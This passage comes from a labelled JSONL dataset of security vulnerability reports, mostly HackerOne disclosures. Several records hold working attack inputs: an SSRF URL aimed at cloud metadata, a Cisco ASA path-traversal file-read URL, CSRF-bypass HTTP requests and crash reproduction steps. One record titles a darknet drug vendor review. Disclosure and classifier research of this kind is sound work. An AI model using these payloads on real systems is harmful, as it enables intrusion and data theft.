(pngcrush.c:6061)\n==56277== Address 0x5555555555555555 is not stack'd, malloc'd or (recently) free'd\n==56277== \n==56277== Invalid read of size 8\n==56277== at 0x4498B1: png_free_data (png.c:543)\n==56277== by 0x412D99: main (pngcrush.c:6061)\n==56277== Address 0x5ac66c0 is 16 bytes after a block of size 32 alloc'd\n==56277== at 0x4C26B3F: malloc (vg_replace_malloc.c:299)\n==56277== by 0x433A23: pngcrush_debug_malloc (pngcrush.c:2294)\n==56277== by 0x478E9E: png_malloc_base (pngmem.c:91)\n==56277== by 0x478E9E: png_malloc_array_checked (pngmem.c:115)\n==56277== by 0x478E9E: png_realloc_array (pngmem.c:145)\n==56277== by 0x4E2A7F: png_set_sPLT (pngset.c:1013)\n==56277== by 0x4C93B2: png_handle_sPLT (pngrutil.c:1746)\n==56277== by 0x47BE1D: png_read_info (pngread.c:222)\n==56277== by 0x40BA8E: main (pngcrush.c:5082)\n==56277== \n==56277== Invalid write of size 8\n==56277== at 0x4498C8: png_free_data (png.c:544)\n==56277== by 0x412D99: main (pngcrush.c:6061)\n==56277== Address 0x5ac66b0 is 0 bytes after a block of size 32 alloc'd\n==56277== at 0x4C26B3F: malloc (vg_replace_malloc.c:299)\n==56277== by 0x433A23: pngcrush_debug_malloc (pngcrush.c:2294)\n==56277== by 0x478E9E: png_malloc_base (pngmem.c:91)\n==56277== by 0x478E9E: png_malloc_array_checked (pngmem.c:115)\n==56277== by 0x478E9E: png_realloc_array (pngmem.c:145)\n==56277== by 0x4E2A7F: png_set_sPLT (pngset.c:1013)\n==56277== by 0x4C93B2: png_handle_sPLT (pngrutil.c:1746)\n==56277== by 0x47BE1D: png_read_info (pngread.c:222)\n==56277== by 0x40BA8E: main (pngcrush.c:5082)\n==56277== \n==56277== Invalid write of size 8\n==56277== at 0x4498D0: png_free_data (png.c:545)\n==56277== by 0x412D99: main (pngcrush.c:6061)\n==56277== Address 0x5ac66c0 is 16 bytes after a block of size 32 alloc'd\n==56277== at 0x4C26B3F: malloc (vg_replace_malloc.c:299)\n==56277== by 0x433A23: pngcrush_debug_malloc (pngcrush.c:2294)\n==56277== by 0x478E9E: png_malloc_base (pngmem.c:91)\n==56277== by 0x478E9E: png_malloc_array_checked (pngmem.c:115)\n==56277== by 0x478E9E: png_realloc_array (pngmem.c:145)\n==56277== by 0x4E2A7F: png_set_sPLT (pngset.c:1013)\n==56277== by 0x4C93B2: png_handle_sPLT (pngrutil.c:1746)\n==56277== by 0x47BE1D: png_read_info (pngread.c:222)\n==56277== by 0x40BA8E: main (pngcrush.c:5082)\n==56277== \n Best pngcrush method = 105 (ws 11 fm 4 zl 8 zs 0) = 1", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "56a8567a6b1b6f7c8b2f", "text": "[Information Disclosure] Unauthenticated 'display name' information leak on enumeration of login names\n\n- I reported this last week through email, but I didn't receive any response so that is why I report this once more.\n- This is probably not considered as a real security vulnerability, but my customers would like to see this fixed, therefore I report it.\n\nProblem:\nIt is possible to get a users display name by knowing their login name. In our environment this results in a users full name. No credentials are required. (The login name could be either leaked or brute forced.)\n\nReproduce:\nBrowse (unauthenticated) to /index.php/avatar//abc. Replace with a valid user login name.\n\nFix:\nI personally would only allow this information to be disclosed when te requestor is authenticated.", "source": "hackerone", "timestamp": "2020-03-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f8aa50ae8077728b2484", "text": "[Information Disclosure] SSRF on █████████ Allowing internal server data access\n\n**Summary:**\nAn end point on ██████ allows an internal access to the network thus revealing sensitive data and allowing internal tunneling \n**Description:**\nOAuth Plugin allows you to provide a url that gives a snap shot of the web page. We can pass internal URLS and conduct SSRF.\n## Impact\nCritical\n## Step-by-step Reproduction Instructions\nhttps://███████/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/hostname\nWe can see the follow data \nip-172-31-12-254.█████████.compute.internal\nhttps://████████/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/public-ipv4\n███████\n\n## Product, Version, and Configuration (If applicable)\nJira \n## Suggested Mitigation/Remediation Actions\nUpdate to recent version\n\n## Impact\n\nAn attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.\n\nThe hacker selected the **Server-Side Request Forgery (SSRF)** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:\n\n**Can internal services be reached bypassing network access control?**\nYes\n\n**What internal services were accessible?**\nAWS Bucket Meta data\n\n**Security Impact**\nCVE-2017-9506 - The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5fe9dc44f97bd916f39a", "text": "[Unknown] Ruby: Heap Overflow in Floating Point Parsing\n\nAny time a string is converted to a floating point value, a specially crafted string can cause a heap overflow. This can lead to a denial of service attack via segmentation faults and possibly arbitrary code execution. Any program that converts input of unknown origin to floating point values (especially common when accepting JSON) are vulnerable.\n\nVulnerable code looks something like this:\n\n`untrusted_data.to_f`\n\nBut any code that produces floating point values from external data is vulnerable, such as this:\n\n`JSON.parse untrusted_data`\n\nNote that this bug is similar to CVE-2009-0689.\n\nAll users running an affected release should upgrade to the FIXED versions of Ruby.\n\n#Affected versions\n- All Ruby 1.8 versions\n- All Ruby 1.9 versions prior to Ruby 1.9.3 patchlevel 484\n- All Ruby 2.0 versions prior to Ruby 2.0.0 patchlevel 353\n- All Ruby 2.1 versions prior to Ruby 2.1.0 preview2\n- prior to trunk revision 43780\n\n#Solutions\nAll users are recommended to upgrade to Ruby 1.9.3 patchlevel 484, Ruby 2.0.0 patchlevel 353 or Ruby 2.1.0 preview2.\n\nPlease note that Ruby 1.8 series or any earlier releases are already obsoleted. There is no plan to release new FIXED versions for them. Users of such versions are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.", "source": "hackerone", "timestamp": "2013-11-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "997e1e9614be51f16fdd", "text": "[Information Disclosure] Stealing the ip addres from users\n\nHi team!\n\n#Summary\nPixel that steals your data. \nBy creating an image in https://iplogger.org/ and inserting it in the forum we can steal some data (ip, language, geo location) of the users who see the message.\n\n#Steps to reproduce\n+ Set \"wyswyg\" on\n+ Create an image from https://iplogger.org/ and use the link to capture data\n+ Insert a link (external img) in a forum or private message (https://iplogger.org/2Znmm5)\n+ Enter the forum / message with another browser\n+ Show the \"listfull\" link provided by \"ipblogger.org\" to see the ip captured by the image (https://iplogger.org/listfull/36r492Znmm5)\n+ The data was captured\n\n#Solution\nYou can fix this in different ways, but in my opinion, it would be better if you proxy all objects from third-party resources and create a CSP.\n\n## Impact\n\nA malicious user can capture sensitive information from forum users. In the case of private messages, you can easily detect if the user read or not the message .. simulating the \"read\" of whatsapp.\n\nFind out the geo location with https://iplookup.flagfox.net/\n\nRegards!", "source": "hackerone", "timestamp": "2020-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b87947e66e66e7ed7d3a", "text": "Deimos Kasa <= 2.58 (table) Local Integer Overflow Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-03-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0e01120a085811abed84", "text": "[Unknown] CVE-2020-8913 - Persistent arbitrary code execution in Android's Google Play Core Library: details, explanation and the PoC\n\n██████████████████████████", "source": "hackerone", "timestamp": "2020-11-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3ba88d45514a910f4a43", "text": "[Path Traversal] CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.\n\n**Summary:**\n#_The affected IP_:\n█████\n\nHere is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.\nFor example to read \"/+CSCOE+/portal_inc.lua\" file.\n\nfor example:\n\n████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\n\n## Suggested Mitigation/Remediation Actions\n\nCisco has released the fix https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n## Impact\n\nThis vulnerability allows an unauthenticated, remote attacker to perform directory traversal attacks and read sensitive files on the system.", "source": "hackerone", "timestamp": "2020-09-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dd270ccb16724006e057", "text": "[Cross-Site Request Forgery (CSRF)] CSRF on cards API\n\nHi,\nI would like to report an CSRF issue on the cards API endpoint (/i/cards/api/v1.json).\n\n##Detail\nCurrently the endpoint is responsible for poll cards (maybe more to come). When a user votes, a request will be sent to this endpoint to record the user's selected choice. By default there's a CSRF protection in place which looks for *authenticity_token* in the query part of the URI. However, such check only appears for the exact path (*/i/cards/api/v1.json*). Given that the server seems to relax path extension, attackers can circumvent the protection by using the path */i/cards/api/v1* (without .json) for the request.\n\nThis is how a normal request looks like:\n```http\nPOST https://twitter.com/i/cards/api/v1.json?tweet_id=657629231309041664&card_name=poll2choice_text_only&forward=false&capi_uri=capi%3A%2F%2Fpassthrough%2F1 HTTP/1.1\nHost: twitter.com\nCookie: foo=bar\n\n{\"twitter:string:card_uri\":\"card://657629230759415808\",\"twitter:long:original_tweet_id\":\"657629231309041664\",\"twitter:string:selected_choice\":\"2\"}\n```\n\nwithout providing a valid CSRF token, it will return a HTTP 403 error.\nNow that we trim the extension part (**v1.json** to **v1**) and resend it:\n```http\nPOST https://twitter.com/i/cards/api/v1?tweet_id=657629231309041664&card_name=poll2choice_text_only&forward=false&capi_uri=capi%3A%2F%2Fpassthrough%2F1 HTTP/1.1\nHost: twitter.com\nCookie: foo=bar\n\n{\"twitter:string:card_uri\":\"card://657629230759415808\",\"twitter:long:original_tweet_id\":\"657629231309041664\",\"twitter:string:selected_choice\":\"2\"}\n```\n\nit still lacks the CSRF token, but this time it returns HTTP 200 and the vote is successfully made.\nAll in all, attackers can abuse it and make victims to vote without noticing.\n\n#PoC\nHere's a handy tool to CSRF any poll. You may also just intercept the vote request to validate the issue.\n1. Go to http://innerht.ml/pocs/twitter-cards-csrf/\n2. Fill in the poll card's information you want to CSRF (e.g. for https://twitter.com/Bugcrowd/status/657629231309041664 the parameters are\ntweet_id: 657629231309041664, card_uri: card://657629230759415808, selected_choice: 2)\n3. Click the button to activate the attacke. Of course the whole process can be silent.", "source": "hackerone", "timestamp": "2017-04-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d2b5639d41cf2744fffa", "text": "[Cross-site Scripting (XSS) - Reflected] XSS due to CVE-2020-3580 [██████]\n\nMultiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. \n\n Steps To Reproduce \n\n Go to this URL \n\n http://www.info-sec.cl/post-xss-███████.html \n\n HTML POC:\n \n \n \n \n
\n \n
\n \n\n\n\n## Impact\n\n- An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link.\n - A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. \n\n Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations.\n\n Supporting Material References\n https://www.exploit-db.com/exploits/47988\n https://twitter.com/sagaryadav8742/status/1275170967527006208", "source": "hackerone", "timestamp": "2021-09-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "25c9543e1017a3b5a1c0", "text": "phpBugTracker 1.0.5 Multiple Reflected XSS Vulnerabilities\n\nSeverity: low", "source": "zeroscience", "timestamp": "2011-02-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dcc2c25e6813e6c8b211", "text": "[Reddit Darknet Markets] [Vendor Review] ickysticky - Agora - 1 Gram White Rhino - $14 USD\n\nHahaha exactly man", "source": "gayanku", "timestamp": "2015-03-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "619623bc304030fc09f7", "text": "Asseco SEE iBank FX Client <= 2.0.9.3 Local Privilege Escalation Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2014-02-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c448fe8d554c14126f49", "text": "[Unknown] A user can create an event in a group without being in it http://littleguy.vanillastaging.com/\n\nHello again,\n\nI have found another failure other than the #321405 report, in this failure a user can create an event in a group in which he is not.\n\nPoC\n===\n\nI've use two accounts.\n\nWith the first one I created the following groups\n\n{F268608}\n\nUser B has joined the group `Hello`, therefore creates an event in that group\n\n{F268609}\n\n{F268611}\n\nYou can see that user B can not create an event since he is not in the group\n\nNow user B is going to create a new event in the group `Hello`\n\n{F268612}\n\nNow user B modifies the group ID by the ID of the pentesting group (as we saw in the previous report the corresponding ID was number 4)\n\n{F268613}\n\nFinally, user B creates the new event\n\n{F268617}\n\n\nThanks\n\n## Impact\n\nA user can create events in a group without being in it, in this way it is possible to show that there is no adequate filter to avoid this", "source": "hackerone", "timestamp": "2018-06-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "457703fa059d7f3bf6dd", "text": "DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-12-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b7e06954e228320799e5", "text": "UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-07-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0387f801e791a339940f", "text": "[Cleartext Storage of Sensitive Information] Private RSA key and Server key exposed on the GitHub repository\n\nReport Submission Form\n\n## Summary:\nI was searching for sensitive data in Kubernetes repository where I found these private keys. These are private RSA key and private server key, which could be used for unauthorized access.\n\n## Steps To Reproduce:\n\nVISIT THESE LINKS\n\nRepository : kubernetes / kubernetes\n\nhttps://github.com/kubernetes/kubernetes/blob/ce3ddcd5f691b5777e7b2f4d89cac1da316970b4/staging/src/k8s.io/legacy-cloud-providers/vsphere/vclib/fixtures/ca.key\n\nhttps://github.com/kubernetes/kubernetes/blob/ce3ddcd5f691b5777e7b2f4d89cac1da316970b4/staging/src/k8s.io/legacy-cloud-providers/vsphere/vclib/fixtures/server.key\n\n## Supporting Material/References:\nhttps://hackerone.com/reports/50170\nhttps://hackerone.com/reports/638401\n\n## Impact\n\n1).Private key leakage\n2). All of the servers using this key will be compromised", "source": "hackerone", "timestamp": "2020-10-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a64e7d8daa3deafe5d08", "text": "[Open Redirect] Open Redirection in Login - Korean Starbucks\n\nSummary:\nOpen Redirection is performed in Korean Starbucks login page.\nAn attacker can redirect victim to other site such as fishing.\n\nDescription:\nWhen victim visit https://www.istarbucks.co.kr/login/login.do?redirect_url=//www.bughunting.net this site, and login, he/she is redirected to www.bughunting.net page.\n\nPoC \nhttps://www.istarbucks.co.kr/login/login.do?redirect_url=//www.bughunting.net\n\nEtc\nI attached a PoC video.\n\n## Impact\n\nFishing", "source": "hackerone", "timestamp": "2019-03-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "991c510b1666e9f27ed6", "text": "Ubisoft Uplay 4.6 Insecure File Permissions Local Privilege Escalation\n\nSeverity: low", "source": "zeroscience", "timestamp": "2014-07-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "37b4bb999cf56a0610f8", "text": "SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-02-07", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8824eb4d969ddc9ac9b6", "text": "FLIR Systems FLIR Brickstream 3D+ Unauthenticated Config Download File Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-10-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "438b4331539057214547", "text": "[Reddit Darknet Markets] Linux TCP vulnerability (CVE-2016-5696), its effects on Tor and what it means for DNM participants\n\npaper doesn't work as described? wat", "source": "gayanku", "timestamp": "2016-08-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "bb9798e117a5bb87cf94", "text": "[Unknown] Insufficient shell characters filtering leads to (potentially remote) code execution (CVE-2016-3714)\n\nThe (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to execute arbitrary code via shell metacharacters in a crafted image, aka \"ImageTragick.\" \n\nSee also: \nhttp://www.openwall.com/lists/oss-security/2016/05/03/18 \nhttps://imagetragick.com/", "source": "hackerone", "timestamp": "2016-05-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5fd9bbcb5065491952bf", "text": "MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2013-08-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2fabd7bf9adc6cae874c", "text": "GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-03-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e25fa219efd881c1650b", "text": "[Improper Authentication - Generic] Authentication Bypass on monitoring server\n\nHello,\n\nThis issue has the same impact as this one: #143482. But the fix is not complete, there is a shopify subdomain (VPN server) where you still can connect your google account. This should be hide and protected.\n\nSo you guys need to change this so that only shopify.com Google accounts are accepted.\n\nPOC screen: ███████\n\nLet me know about it and happy new year!!\n\n\nJamesclyde90", "source": "hackerone", "timestamp": "2017-01-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0744da2996a01ae3d5f3", "text": "Microsoft Office PowerPoint 2007 v12.0.4518 (pp4x322.dll) DLL Hijacking Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-08-26", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "21f48652a9354ac7c566", "text": "[Cryptographic Issues - Generic] Open SMTP port can let anyone send email from mail.chihar.com\n\nAn open SMTP port 587 can let anyone connect and send emails impersonating someone in your the company if he could enumerate the email addresses.\n\nPOC - \n1. I performed an nmap scan and was able to find an open port 587 for SMTP\n2. I did a netcat connection to it and was able to run commands such as HELO and EHLO(which is harmless)\n3. I could even use commands STARTTLS and MAIL TO.\n4. I can impersonate the support team of weblate and send an email to one of the employees asking them to visit a link and even though they know about phishing they might do it and hence stealing their sessionID.\n\nThe image shows few commands which I was able to run on the server.\n\nPretty much all the companies have strong email security policies and hence you should implement it and deny end user access to the SMTP server.", "source": "hackerone", "timestamp": "2017-05-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0808ce9b28a0022a1510", "text": "[Violation of Secure Design Principles] Password reset token leakage via referer\n\nHi Team,\nI have found that if user open the link of reset password and than click on any external links within the reset password page its leak password reset token in referer header.\n\nSteps to reproduce:\n\n1.Open Password reset page from email. \n2.Click on any social media link(on follow us section)\n3.Intercept the request(I have used burp suite) \n4.You can see the link for reset password in referrer\n\n## Impact\n\nIt allows the person who has control of particular site to change the user's password (CSRF attack), because this person knows reset password token of the user.", "source": "hackerone", "timestamp": "2018-08-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bdb4ada4584ec8c258e2", "text": "[Memory Corruption - Generic] CVE-2016-4796 OpenJPEG color_cmyk_to_rgb Out-of-Bounds Read Vulnerability\n\n# CVE-2016-4796 OpenJPEG color_cmyk_to_rgb Out-of-Bounds Read Vulnerability\n\n## 1. About OpenJPEG\nOpenJPEG is an open-source JPEG 2000 codec written in C language. It's widely used in lots of Linux OSes such as Ubuntu, RedHat, Debian, Fedora, and so on. The official repository of the OpenJPEG project is available at [GitHub](https://github.com/uclouvain/openjpeg).\n\n## 2. Credit\nThis vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.\n\n## 3. Testing Environments\n+ **OS**: Ubuntu\n+ **OpenJPEG**: [44a499f](https://github.com/uclouvain/openjpeg/archive/44a499f2acf10b55172d07abf387e5a579a585f7.zip) (Master version before May/6/2016)\n+ **Compiler**: Clang\n+ **CFLAGS**: ``-g -O0 -fsanitize=address``\n\n## 4. Reproduce Steps\nPlease copy file ``poc.j2k`` to directory ``openjpeg/bin`` before executing ``opj_decompress``.\n```\nwget https://github.com/uclouvain/openjpeg/archive/44a499f2acf10b55172d07abf387e5a579a585f7.zip\nunzip -q 44a499f2acf10b55172d07abf387e5a579a585f7.zip\nmv openjpeg-44a499f2acf10b55172d07abf387e5a579a585f7 openjpeg\ncd openjpeg\nexport CC='/usr/bin/clang -g -O0 -fsanitize=address'\ncmake .\nmake\n\ncd bin\n./opj_decompress -o image.pgm -i poc.j2k\n```\n\n## 5. Vulnerability Details\n\nAddressSanitizer output the following exception information.\n\n```\n==118074==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eed4 \nat pc 0x000000531212 bp 0x7ffce9cd43c0 sp 0x7ffce9cd43b8\nREAD of size 4 at 0x60200000eed4 thread T0\n #0 0x531211 in color_cmyk_to_rgb openjpeg/src/bin/common/color.c:872:15\n #1 0x4f20c1 in main openjpeg/src/bin/jp2/opj_decompress.c:1378:4\n #2 0x7f3e59d9082f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291\n #3 0x41a978 in _start (openjpeg/bin/opj_decompress+0x41a978)\n\n0x60200000eed4 is located 0 bytes to the right of 4-byte region [0x60200000eed0,0x60200000eed4)\nallocated by thread T0 here:\n #0 0x4bac30 in calloc (openjpeg/bin/opj_decompress+0x4bac30)\n #1 0x7f3e5b68cc44 in opj_calloc openjpeg/src/lib/openjp2/opj_malloc.c:203:10\n #2 0x7f3e5b60032a in opj_j2k_update_image_data openjpeg/src/lib/openjp2/j2k.c:8221:62\n #3 0x7f3e5b5ffd36 in opj_j2k_decode_tiles openjpeg/src/lib/openjp2/j2k.c:9764:23\n #4 0x7f3e5b5c87ed in opj_j2k_exec openjpeg/src/lib/openjp2/j2k.c:7350:41\n #5 0x7f3e5b5db8be in opj_j2k_decode openjpeg/src/lib/openjp2/j2k.c:9955:15\n #6 0x7f3e5b616b3e in opj_jp2_decode openjpeg/src/lib/openjp2/jp2.c:1492:8\n #7 0x7f3e5b633806 in opj_decode openjpeg/src/lib/openjp2/openjpeg.c:412:10\n #8 0x4f166f in main openjpeg/src/bin/jp2/opj_decompress.c:1332:10\n #9 0x7f3e59d9082f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow openjpeg/src/bin/common/color.c:872:15 in color_cmyk_to_rgb\nShadow bytes around the buggy address:\n 0x0c047fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa[04]fa fa fa fd fd\n 0x0c047fff9de0: fa fa fd fd fa fa 00 fa fa fa fd fd fa fa 04 fa\n 0x0c047fff9df0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00\n 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Heap right redzone: fb\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack partial redzone: f4\n Stack after return: f5\n Stack use after scope: f8\n", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a4fd9e358cec7ba11ae0", "text": "V-SOL GPON/EPON OLT Platform v2.03 Reflected XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2f58b94f88ea1a1a9b73", "text": "Applications Manager 12.5 Arbitrary Command Execution Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-01-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b5e91bb936d87e317421", "text": "[Memory Corruption - Generic] Memory corrouption in mrb_gc_mark\n\nThe memory corruption in mrb_gc_mark function can lead to code execution or at least DoS on mruby.\n\nPoC attached.\n\n### Crash debug\n\n>mr@minhrau ~ $ ./mrubylatest/mruby/build/bench/bin/mruby ./mruby/fuzz03/crashes/mrb_gc_mark.rb\n>Reading symbols from ./mrubylatest/mruby/build/bench/bin/mruby...done.\n>(gdb) r ./mruby/fuzz03/crashes/mrb_gc_mark.rb\n>Starting program: /home/minhrau/mrubylatest/mruby/build/bench/bin/mruby ./mruby/fuzz03/crashes/mrb_gc_mark.rb\n>{:r=>[\"h1MuXist\", \"kenea\", \"mini[g\", \"\\377\\377\\365\"]}\n>\n>---snip---\n>\n>Program received signal SIGSEGV, Segmentation fault.\n>mrb_gc_mark (obj=0x4b563330305c3035, mrb=0x69f010) at /home/minhrau/mrubylatest/mruby/src/gc.c:696\n>696 if (!is_white(obj)) return;\n>(gdb) p obj\n>$1 = (struct RBasic *) 0x4b563330305c3035\n>(gdb) x/i $rip\n>=> 0x4185fe : movzbl 0x1(%rax),%edx\n>(gdb) i r\n>rax 0x4b563330305c3035 5428582682904506421\n>rbx 0x7422a0 7611040\n>rcx 0x0 0\n>rdx 0xffffffffffffffff -1\n>rsi 0x69f0e8 6942952\n>rdi 0x69f010 6942736\n>rbp 0xffffffffffffffff 0xffffffffffffffff\n>rsp 0x7fffffffdc90 0x7fffffffdc90\n>r8 0x4 4\n>r9 0x6b2660 7022176\n>r10 0x6b2650 7022160\n>r11 0x7ffff73ea760 140737341466464\n>r12 0x69f010 6942736\n>r13 0x69f0e8 6942952\n>r14 0x0 0\n>r15 0x69f010 6942736\n>rip 0x4185fe 0x4185fe \n>eflags 0x10206 [ PF IF RF ]\n>cs 0x33 51\n>ss 0x2b 43\n>ds 0x0 0\n>es 0x0 0\n>fs 0x0 0\n>gs 0x0 0\n>(gdb) \n\n### Backtrace\n\n>(gdb) bt\n> #0 mrb_gc_mark (obj=0x4b563330305c3035, mrb=0x69f010) at /home/minhrau/mrubylatest/mruby/src/gc.c:696\n> #1 gc_mark_children (gc=0x69f0e8, obj=, mrb=0x69f010) at /home/minhrau/mrubylatest/mruby/src/gc.c:600\n> #2 gc_gray_mark (obj=, gc=0x69f0e8, mrb=0x69f010) at /home/minhrau/mrubylatest/mruby/src/gc.c:887\n> #3 incremental_marking_phase (limit=, gc=, mrb=) at /home/minhrau/mrubylatest/mruby/src/gc.c:982\n> #4 incremental_gc (mrb=mrb@entry=0x69f010, gc=gc@entry=0x69f0e8, limit=limit@entry=18446744073709551615) at /home/minhrau/mrubylatest/mruby/src/gc.c:1086\n> #5 0x000000000041988a in incremental_gc (limit=18446744073709551615, gc=0x69f0e8, mrb=0x69f010) at /home/minhrau/mrubylatest/mruby/src/gc.c:1081\n> #6 incremental_gc_until (to_state=, gc=, mrb=) at /home/minhrau/mrubylatest/mruby/src/gc.c:1111\n> #7 mrb_incremental_gc (mrb=mrb@entry=0x69f010) at /home/minhrau/mrubylatest/mruby/src/gc.c:1162\n> #8 0x0000000000419dc0 in mrb_obj_alloc (mrb=mrb@entry=0x69f010, ttype=ttype@entry=MRB_TT_STRING, cls=0x6a94e0) at /home/minhrau/mrubylatest/mruby/src/gc.c:507\n> #9 0x0000000000424841 in str_new (p=0x0, len=0, mrb=0x69f010) at /home/minhrau/mrubylatest/mruby/src/string.c:59\n> #10 mrb_str_dup (mrb=mrb@entry=0x69f010, str=...) at /home/minhrau/mrubylatest/mruby/src/string.c:1069\n> #11 0x00000000004439c3 in mrb_vm_exec (mrb=mrb@entry=0x69f010, proc=, proc@entry=0x6e4fa0, pc=) at /home/minhrau/mrubylatest/mruby/src/vm.c:2317\n> #12 0x0000000000446e35 in mrb_vm_run (mrb=0x69f010, proc=0x6e4fa0, self=..., stack_keep=) at /home/minhrau/mrubylatest/mruby/src/vm.c:815\n> #13 0x0000000000449331 in mrb_top_run (mrb=mrb@entry=0x69f010, proc=proc@entry=0x6e4fa0, self=..., stack_keep=stack_keep@entry=0) at /home/minhrau/mrubylatest/mruby/src/vm.c:2569\n> #14 0x000000000043f87c in mrb_load_exec (mrb=mrb@entry=0x69f010, p=p@entry=0x6eb9c0, c=c@entry=0x6ea860) at /home/minhrau/mrubylatest/mruby/mrbgems/mruby-compiler/core/parse.y:5755\n> #15 0x00000000004415d5 in mrb_load_file_cxt (mrb=mrb@entry=0x69f010, f=0x6eb590, c=c@entry=0x6ea860) at /home/minhrau/mrubylatest/mruby/mrbgems/mruby-compiler/core/parse.y:576", "source": "hackerone", "timestamp": "2017-04-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": 